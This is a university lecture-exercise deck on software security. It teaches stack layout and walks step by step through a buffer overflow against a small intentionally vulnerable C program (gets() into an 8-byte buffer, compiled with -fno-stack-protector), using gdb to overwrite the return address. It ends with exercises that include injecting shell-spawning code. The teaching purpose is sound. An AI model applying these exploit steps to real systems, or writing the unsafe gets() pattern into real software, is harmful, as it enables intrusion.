

# Software Security

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Chair of Software Engineering


29th October 2018



## Objectives of today's exercise

- Understanding the principle of *code injection*
- Being able to perform buffer overflow attacks by yourself using a small examples

**Which segments** are included in the virtual memory of a computer (e.g. i386)?




Permissions:

- Data/BSS: readable, writeable
- Text: readable, executable
- Stack/Heap: writeable, readable, executable (depends on protection mechanism)


**Which registers** for the stack management do you know?

- 1 ESP (Extended Stack Pointer)**  
points to the top stack element
- 2 EBP (Extended Base Pointer)**  
points to the bottom, also called frame pointer
- 3 EIP (Extended Instruction Pointer)**  
points to the memory address of the next instruction

## Example: How is a function call managed?




## Example: How is a function call managed?




①. Caller writes parameter 2 into the memory

## Example: How is a function call managed?




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
③. Callee stores the frame pointer (EBP) and moves the EIP to the sub-function code

②. Caller stores the EIP

## Example: How is a function call managed?




## Example: How is a function call managed?




④. Callee moves the EBP to the beginning of the new stack frame

⑤. Memory for the local variable is allocated

## Example: How is a function call managed?




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
⑥. The local variable is written

⑦. The sub-function is terminated

## Example: How is a function call managed?




## Example: How is a function call managed?



⑦. Callee moves the ESP to the bottom of the stack

⑧. Callee moves the EBP to the old frame pointer and the ESP to the saved EIP (return address)

## Example: How is a function call managed?




⑨. Callee moves the EIP to the return address and the caller releases the memory of the parameter

## Buffer Overflow Attack


How does an attacker manipulate the stack management?

# Code Injection: How it really works?



- ① Memory for the local variable `buff` is allocated

# Code Injection: How it really works?



- ② Using `gets(buff)` the attacker's input is written into the `buff` and if the input is too long, the return address is overwritten

## Tutorial: Buffer Overflow Attack

- Target: Trying to execute an unreachable piece of code –

## Code Example: Buffer Overflow Attack

```
1 #include <stdio.h>
2
3 Secret() {
4     printf("This is an illegal message.\n");
5 }
6
7 GetInput() {
8     char buffer[8];
9     gets(buffer);
10    puts(buffer);
11 }
12
13 main() {
14     GetInput();
15     LastMessage();
16     return 0;
17 }
18
19 LastMessage() {
20     printf("This is a legal message.\n");
21 }
```

# Tutorial: Buffer Overflow Attack (1)

- 1** Compile the program with the following parameters

```
gcc -ggdb -w -fno-stack-protector -o overflow overflow.c
```

- ## 2 Call a debugger

## ggdb overflow

- 3** Identify the memory address where the code of *Secret* is stored

*disas Secret*

→ the memory address you are looking for is framed in *red*

```

Dump of assembler code for function Secret:
0x000000000100000060 <+0>:    push    %rbp
0x000000000100000061 <+1>:    mov     %rsp,%rbp
0x000000000100000064 <+4>:    sub     $0x10,%rsp
0x000000000100000068 <+8>:    lea     0x7(%rip),%rdi    # 0x100000f56
0x00000000010000006f <+15>:   mov     $0x0,%al
0x000000000100000071 <+17>:   callq   0x100000f1a
0x000000000100000076 <+22>:   mov     -0x4(%rbp),%ecx
0x000000000100000079 <+25>:   mov     %eax,-0x6(%rbp)
0x00000000010000007c <+28>:   mov     %ecx,%eax
0x00000000010000007e <+30>:   add     $0x10,%rsp
0x000000000100000082 <+34>:   pop     %rbp
0x000000000100000083 <+35>:   retq

End of assembler dump.

```

## Tutorial: Buffer Overflow Attack (3)

- 6** Start the program and input the string `AAAAAAAA`

*run*

- 7** Check the memory of the *stack frame* when the program stops at the *breakpoint*

*info frame*

→ The return address is framed in *red* and the memory address, where the return address is saved, is framed in *blue*

```
Stack level 0, frame at 0x7fff5fbff710:
  rip = 0x1000000ea5 in GetInput (overflow.c:10); saved rip = 0x100000ed4
  called by frame at 0x7fff5fbff730
  source language c.
  Arglist at 0x7fff5fbff700, args:
  Locals at 0x7fff5fbff700, Previous frame's sp is 0x7fff5fbff710
  Saved registers:
    rbp at 0x7fff5fbff700, rip at 0x7fff5fbff708
```

## Tutorial: Buffer Overflow Attack (2)

- 4** Print the program code to identify a suitable line for a *breakpoint*

*list 1*

→ line number of interest is framed in *red*

```
1 #include <stdio.h>
2 Secret()
3 {
4     printf("This is an illegal message.\n");
5 }
6 GetInput()
7 {
8     char buffer[8];
9     gets(buffer);
10    puts(buffer);
```

- 5** Set breakpoint after calling `gets(buffer)` for a memory check

```
break 10
```

## Tutorial: Buffer Overflow Attack (4)

- 8** Check the stack memory starting from ESP (here called `rsp`) and check how many characters are needed to reach the memory location of the return address

$$x / 12xw \$rsp$$

→ return address is framed in **red** and the chars of A are framed in **blue**

0x7fff5fbff6e0: 0x5fbff758	0x00007fff	0x00000000	0x00000000
0x7fff5fbff6f0: 0x00000000	0x41414141	0x41414141	0x00000000
0x7fff5fbff700: 0x5fbff720	0x00007fff	0x00000ed4	0x00000001

- 9** Construct a string in such a way that first the memory is filled up with a sufficient number of A's and then the return address is overwritten with the memory address of the secret code (see step **3**)

Note: The address must be entered in reverse order (*little-endian format*)

→ Input using hexadecimal code

[illegible]

➔ Input using special characters

AAAAA'~N^@^@^A^@^@

The bash-shell command `printf "\x0e" > input.txt` is useful to transform a hexcode into the corresponding special character. A keyboard input is often hard to find, e.g. `^N` is performed by CTRL-N.

## Tutorial: Buffer Overflow Attack (5)

- 10** If you run the program again with the constructed input (cf. step **9**), you will obtain the following output at the *breakpoint*

`run < input.txt`

→ the overwritten return address is framed in *green*<sup>1</sup>

0x7fff5fbff6e0: 0x5fbff758	0x00007fff	0x00000000	0x00000000
0x7fff5fbff6f0: 0x00000000	0x41414141	0x41414141	0x41414141
0x7fff5fbff700: 0x41414141	0x41414141	0x00000e60	0x00000001

- 11** If the program is continued after the breakpoint, the secret code is actually executed

`continue`

→ however, the program crashes afterwards

```
Continuing.
AAAAAAAAAAAAAAAAAAAA
This is an illegal message.

Program received signal SIGSEGV, Segmentation fault.
0x00007fff5fbff700 in ?? ()
```

1) Note: The *red* framed area could not be overwritten because the input contains some null bytes which will be considered as the end of the string. But fortunately, the memory was already filled correctly.

## Exercises: Buffer Overflow Attack

- 1** Perform an attack using the presented example on your own machine (64 bit)
- 2** Perform the attack using the same example, but as a 32 bit program
- 3** Extend the attack in such away that the program will terminate properly (32 bit program)
- 4** Perform an attack using code injection for another given program to execute a shell on the target system